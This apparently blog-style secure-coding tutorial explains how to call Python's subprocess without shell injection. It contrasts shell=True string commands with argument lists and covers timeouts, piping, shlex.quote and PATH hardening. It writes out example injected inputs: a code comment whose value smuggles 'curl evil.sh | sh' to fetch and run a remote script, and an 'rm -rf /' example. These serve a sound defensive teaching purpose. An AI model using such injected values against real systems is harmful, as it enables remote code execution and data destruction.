subprocess Without Shell Injection

Introduction¶

subprocess runs external commands. The dangerous mode is shell=True with a string built from variables — that's how ; rm -rf / gets executed. The safe mode is an argument list.

The rule¶

import subprocess

# DANGEROUS — user_input="foo; curl evil.sh | sh" runs both
subprocess.run(f"convert {user_input} out.png", shell=True)

# SAFE — user_input is one argument, no shell parsing
subprocess.run(["convert", user_input, "out.png"])

With a list and no shell, user_input is passed as a single argv element. The OS execve doesn't interpret ;, |, $(), >, globs, or spaces. There is nothing to inject into.

Common patterns¶

Run and check¶

result = subprocess.run(
    ["git", "rev-parse", "HEAD"],
    capture_output=True, text=True, timeout=10, check=True,
)
sha = result.stdout.strip()

• check=True — raise CalledProcessError on non-zero exit.
• capture_output=True + text=True — get stdout/stdout as strings.
• timeout= — raise TimeoutExpired (and kill the process) if it hangs. Always set this for anything touching the network or user data.

Handle failure explicitly¶

try:
    r = subprocess.run(["borg", "check", repo], capture_output=True, text=True,
                       timeout=3600, check=True)
except subprocess.CalledProcessError as e:
    log.error("borg check failed (%s): %s", e.returncode, e.stderr)
    raise
except subprocess.TimeoutExpired:
    log.error("borg check timed out")
    raise

Stream output live¶

with subprocess.Popen(["rsync", "-a", "--info=progress2", src, dst],
                      stdout=subprocess.PIPE, text=True) as proc:
    for line in proc.stdout:
        print(line, end="")
if proc.returncode != 0:
    raise RuntimeError(f"rsync exited {proc.returncode}")

Pipe two commands — still no shell¶

p1 = subprocess.Popen(["journalctl", "-u", "nginx", "--since", since],
                      stdout=subprocess.PIPE, text=True)
p2 = subprocess.Popen(["grep", pattern], stdin=p1.stdout,
                      stdout=subprocess.PIPE, text=True)
p1.stdout.close()          # let p1 get SIGPIPE if p2 exits
out, _ = p2.communicate(timeout=30)

If you genuinely need a shell¶

Sometimes you need shell features (a pipeline, env expansion). Then:

• Never interpolate untrusted input into the string.
• Use shlex.quote() for any value you must include:

import shlex
cmd = f"tar czf backup.tgz {shlex.quote(user_dir)} | gpg --encrypt -r [email protected]"
subprocess.run(cmd, shell=True, check=True)

Better: replace the pipeline with two Popens as above and drop shell=True entirely.

Other hardening¶

• Absolute paths or a controlled PATH — subprocess.run(["/usr/bin/git", ...]) or pass env={"PATH": "/usr/bin:/bin", ...} so a planted git in the CWD can't run. cwd= sets the working directory without a cd.
• Don't pass secrets on the command line — visible in ps//proc. Use env or stdin (input= / communicate(input=...)).
• Validate before executing — if user_input should be a filename in a directory, resolve it and check it's actually under that directory (Path(base, name).resolve().is_relative_to(base_resolved)).

Verification and troubleshooting¶

# Log exactly what will run
import shlex
log.debug("exec: %s", shlex.join(argv))

• FileNotFoundError — the executable isn't on PATH, or you passed a shell string without shell=True (so "ls -l" is treated as one filename). Split it: ["ls", "-l"].
• Command "works in terminal, not in Python" — the terminal has your interactive shell's env/aliases/functions. subprocess uses a minimal env and no aliases. Call the real binary with full args.
• Hangs forever — no timeout, and the child is waiting on a full pipe buffer you're not reading, or on stdin. Read output as you go, or use communicate(), and set stdin=subprocess.DEVNULL if it shouldn't read input.
• Output has \r\n / bytes — text=True for str; specify encoding= if not UTF-8.
• Zombie processes — Popen without wait()/communicate() or a with block. Use the context manager.
• CalledProcessError but e.stderr is None — you didn't capture_output / set stderr=subprocess.PIPE.

Related tools and reading¶

• On-site: Regex Tester.
• Related posts: Writing a Bash script that won't bite you, Parsing config files safely.